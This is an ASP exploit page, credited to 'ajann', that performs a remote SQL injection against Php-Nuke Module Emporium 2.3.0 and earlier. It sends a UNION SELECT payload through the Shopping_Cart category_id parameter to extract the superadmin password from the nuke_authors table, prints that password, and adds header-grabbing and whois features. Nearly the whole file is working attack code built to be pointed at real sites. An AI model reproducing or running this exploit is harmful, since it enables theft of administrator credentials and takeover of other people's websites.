<% Response.Buffer = True %> <% On Error Resume Next %> <% Server.ScriptTimeout = 100 %> <% '=============================================================================================== '[Script Name: Php-Nuke Module Emporium <= 2.3.0 Remote Blind SQL Injection Exploit '[Coded by : ajann '[Author : ajann '[Contact : :( '[S.Page : http://www.burnwave.com/ '[ExploitName: exploit2.asp '[Note : exploit file name =>exploit2.asp '[Update: + Get Header '[Update: + Get Whois Info '=============================================================================================== %> <% title="Php-Nuke Module Emporium <= 2.3.0 Remote Blind SQL Injection Exploit" 'Vuln Title %> <% = title %>
<% = title %>

TARGET:Example:[http://x.com/path]

USER ID:Example:[User ID=1]

<% islem = Request.QueryString("islem") If islem = "hata1" Then Response.Write "There is a problem! Please complete to the whole spaces" End If If islem = "hata2" Then Response.Write "There is a problem! Please right character use" End If If islem = "hata3" Then Response.Write "There is a problem! Add ""http://""" End If If islem = "hata4" Then Response.Write "There is a problem! Just Numeric Character!" End If %> <% If islem = "get" Then id= Request.Form("id") file="modules.php?name=Shopping_Cart&file=category&category_id=" sql="1/1%20union%20select%200,pwd,0%20from%20nuke_authors%20where%20radminsuper=1/*" idform = Request.Form("id") targettext = Request.Form("text1") arama=InStr(1, targettext, "union" ,1) arama2=InStr(1, targettext, "http://" ,1) If targettext="" Then Response.Redirect("exploit2.asp?islem=hata1") Else If arama>0 then Response.Redirect("exploit2.asp?islem=hata2") Else If arama2=0 then Response.Redirect("exploit2.asp?islem=hata3") Else IF Not IsNumeric(idform) Then Response.Redirect("exploit2.asp?islem=hata4") Else %> <% target1 = targettext+file+sql Public Function take(come) Set objtake = Server.CreateObject("Microsoft.XMLHTTP" ) With objtake .Open "GET" , come, FALSE .sEnd take = .Responsetext End With SET objtake = Nothing End Function get_username = take(target1) getdata=InStr(get_username,"0 0/" ) username=Mid(get_username,getdata+5,90) Dim metin metin = take(target1) Dim objReg Set objReg = New RegExp objReg.Global = True objReg.IgnoreCase = True objReg.Pattern = "0"">[A-Za-z0-9]+" Dim calistir, istediginString Set calistir = objReg.Execute(metin) If calistir.Count = 0 Then Response.write "Not True" Else basusername = Replace(calistir.Item(0), "0"">" , "" ) basusername = Replace(basusername, "" , "" ) End If Set bulunanlar = Nothing Set objReg = Nothing %>
ajann

              Password Admin:  <%=basusername%>

<% hedef = targettext Dim objem Set objem = Server.CreateObject("MSXML2.ServerXMLHTTP") objem.Open "GET" , hedef , false objem.sEnd strHTML = objem.ResponseText header=objem.getallResponseheaders() Response.Write "
" Response.Write "" Response.Write "

Header Bilgileri

" Response.Write "" Response.Write "

" & header & "

" Response.Write "

Whois

" Response.Write "

Site:[google.com]

" Response.Write "
" Set objem=Nothing %>


<% End If End If End If End If End If %> <% If islem = "whois" Then site = Request.Form("whoissite") target1 = "http://reports.internic.net/cgi/whois?whois_nic=" & site & "&type=domain" Public Function take(come) Set objtake = Server.CreateObject("Microsoft.XMLHTTP" ) With objtake .Open "GET" , come, FALSE .sEnd take = .Responsetext End With Set objtake = Nothing End Function remoteadres=take(target1) dim baslangic , bitis baslangic = "
"
bitis = "
" dim x , abc x = 0 abc = 0 dim sonuc sonuc = "" Do Until abc = 2 x = x + 1 If Mid(remoteadres,x,Len(bitis)) = bitis and abc = 1 Then abc = abc + 1 End If If Mid(remoteadres,x,Len(baslangic)) = baslangic Then abc = abc + 1 Else If abc = 1 Then sonuc = sonuc + Mid(remoteadres,x,1) End If End If Loop Set objtake=Nothing %>
Whois Bilgileri

<% End If %> <% Response.Write "
" Response.Write "
" Response.Write "
"
Response.Write ""
Response.Write "En iyi "
Response.Write ""
Response.Write ""
Response.Write "1152x864 "
Response.Write ""
Response.Write "znrlk ve "
Response.Write "Firefox "
Response.Write "ile grntlnebilir.
" Response.Write "
"
Response.Write ""
Response.Write "Exploit coded by "
Response.Write ""
Response.Write ""
Response.Write "ajann"
Response.Write ""
Response.Write "
" %>